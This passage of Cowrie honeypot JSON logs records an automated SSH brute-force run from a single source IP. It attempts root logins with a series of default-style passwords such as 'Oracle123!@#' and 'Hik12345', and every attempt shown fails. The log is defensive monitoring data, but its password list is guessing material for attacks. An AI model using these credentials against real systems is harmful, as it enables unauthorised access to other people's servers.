{"eventid":"cowrie.login.failed","username":"root","password":"dell2015","message":"login attempt [root/dell2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:24.981402Z","src_ip":"60.165.124.241","session":"ab93dc450b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:26.232920Z","src_ip":"60.165.124.241","session":"ab93dc450b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39966,"dst_ip":"10.17.0.5","dst_port":22,"session":"74947b862ee4","protocol":"ssh","message":"New connection: 60.165.124.241:39966 (10.17.0.5:22) [session: 74947b862ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:26.456284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:26.461089Z","src_ip":"60.165.124.241","session":"74947b862ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:26.699214Z","src_ip":"60.165.124.241","session":"74947b862ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cdntest123","message":"login attempt [root/Cdntest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:27.418987Z","src_ip":"60.165.124.241","session":"74947b862ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:28.660209Z","src_ip":"60.165.124.241","session":"74947b862ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42912,"dst_ip":"10.17.0.5","dst_port":22,"session":"47436ed91582","protocol":"ssh","message":"New connection: 60.165.124.241:42912 (10.17.0.5:22) [session: 47436ed91582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:28.928104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:28.932989Z","src_ip":"60.165.124.241","session":"47436ed91582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:29.190600Z","src_ip":"60.165.124.241","session":"47436ed91582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RootKeytop:2020#","message":"login attempt [root/RootKeytop:2020#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:29.960898Z","src_ip":"60.165.124.241","session":"47436ed91582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:31.218872Z","src_ip":"60.165.124.241","session":"47436ed91582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46130,"dst_ip":"10.17.0.5","dst_port":22,"session":"e593ff4ff321","protocol":"ssh","message":"New connection: 60.165.124.241:46130 (10.17.0.5:22) [session: e593ff4ff321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:31.440333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:31.445172Z","src_ip":"60.165.124.241","session":"e593ff4ff321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:31.685155Z","src_ip":"60.165.124.241","session":"e593ff4ff321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Oracle123!@#","message":"login attempt [root/Oracle123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:32.415724Z","src_ip":"60.165.124.241","session":"e593ff4ff321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:33.658956Z","src_ip":"60.165.124.241","session":"e593ff4ff321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49192,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c3b4d125278","protocol":"ssh","message":"New connection: 60.165.124.241:49192 (10.17.0.5:22) [session: 6c3b4d125278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:33.892676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:33.901552Z","src_ip":"60.165.124.241","session":"6c3b4d125278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:34.140267Z","src_ip":"60.165.124.241","session":"6c3b4d125278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zj123456","message":"login attempt [root/Zj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:34.861029Z","src_ip":"60.165.124.241","session":"6c3b4d125278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:36.103100Z","src_ip":"60.165.124.241","session":"6c3b4d125278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52306,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ab87ff9751","protocol":"ssh","message":"New connection: 60.165.124.241:52306 (10.17.0.5:22) [session: 52ab87ff9751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:36.350650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:36.355820Z","src_ip":"60.165.124.241","session":"52ab87ff9751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:36.600724Z","src_ip":"60.165.124.241","session":"52ab87ff9751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hik12345","message":"login attempt [root/Hik12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:37.344969Z","src_ip":"60.165.124.241","session":"52ab87ff9751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:38.593125Z","src_ip":"60.165.124.241","session":"52ab87ff9751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55370,"dst_ip":"10.17.0.5","dst_port":22,"session":"c53425af6120","protocol":"ssh","message":"New connection: 60.165.124.241:55370 (10.17.0.5:22) [session: c53425af6120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:38.816948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:38.825860Z","src_ip":"60.165.124.241","session":"c53425af6120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:39.066642Z","src_ip":"60.165.124.241","session":"c53425af6120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234!!","message":"login attempt [root/Abcd1234!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:39.783564Z","src_ip":"60.165.124.241","session":"c53425af6120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:41.024500Z","src_ip":"60.165.124.241","session":"c53425af6120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58360,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac5e27a0a395","protocol":"ssh","message":"New connection: 60.165.124.241:58360 (10.17.0.5:22) [session: ac5e27a0a395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:41.279535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:41.284061Z","src_ip":"60.165.124.241","session":"ac5e27a0a395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:41.532010Z","src_ip":"60.165.124.241","session":"ac5e27a0a395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112233@","message":"login attempt [root/Aa112233@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:42.285634Z","src_ip":"60.165.124.241","session":"ac5e27a0a395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:43.535757Z","src_ip":"60.165.124.241","session":"ac5e27a0a395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33208,"dst_ip":"10.17.0.5","dst_port":22,"session":"2edb1977a4df","protocol":"ssh","message":"New connection: 60.165.124.241:33208 (10.17.0.5:22) [session: 2edb1977a4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:43.756607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:43.773376Z","src_ip":"60.165.124.241","session":"2edb1977a4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:44.015111Z","src_ip":"60.165.124.241","session":"2edb1977a4df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xl123456..","message":"login attempt [root/xl123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:44.785783Z","src_ip":"60.165.124.241","session":"2edb1977a4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:46.025984Z","src_ip":"60.165.124.241","session":"2edb1977a4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36674,"dst_ip":"10.17.0.5","dst_port":22,"session":"837f5a59365b","protocol":"ssh","message":"New connection: 60.165.124.241:36674 (10.17.0.5:22) [session: 837f5a59365b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:46.300221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:46.305257Z","src_ip":"60.165.124.241","session":"837f5a59365b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ec